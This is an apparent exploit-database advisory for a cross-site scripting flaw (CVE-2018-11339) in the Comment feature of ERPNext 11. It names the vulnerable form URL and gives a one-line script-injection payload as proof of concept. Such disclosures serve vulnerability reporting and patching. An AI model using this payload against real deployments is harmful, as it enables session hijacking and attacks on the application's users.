ERPnext 11 - Cross-Site Scripting

Author: Veerababu Penugonda
type: webapps
platform: java
port: 0
date_added: 2018-05-22
date_updated: 2018-05-22
verified: 0
codes: CVE-2018-11339
tags: 
aliases: 
screenshot_url: 
application_url: 

# Exploit Title: ERPnext 11.x.x - Cross-Site Scripting
# Date: 2018-05-10
# Exploit Author: Veerababu Penugonda
# Vendor Homepage: https://erpnext.com/
# Software Link: https://demo.erpnext.com/
# Version: Frappe ERPNext v11.x.x-develop
# Tested on: Mozilla Firefox quantum 60.1 , Ubuntu OS
# CVE : CVE-2018-11339

# 1. Description:
# https://demo.erpnext.com/desk#Form/Asset%20Repair/ARLOG-000015
# and functionality “Comment” is vulnerable to XSS like Stored ,
# Reflected , Cookie , possible for more

# 2. Payload :

"><script>alert(1)</script>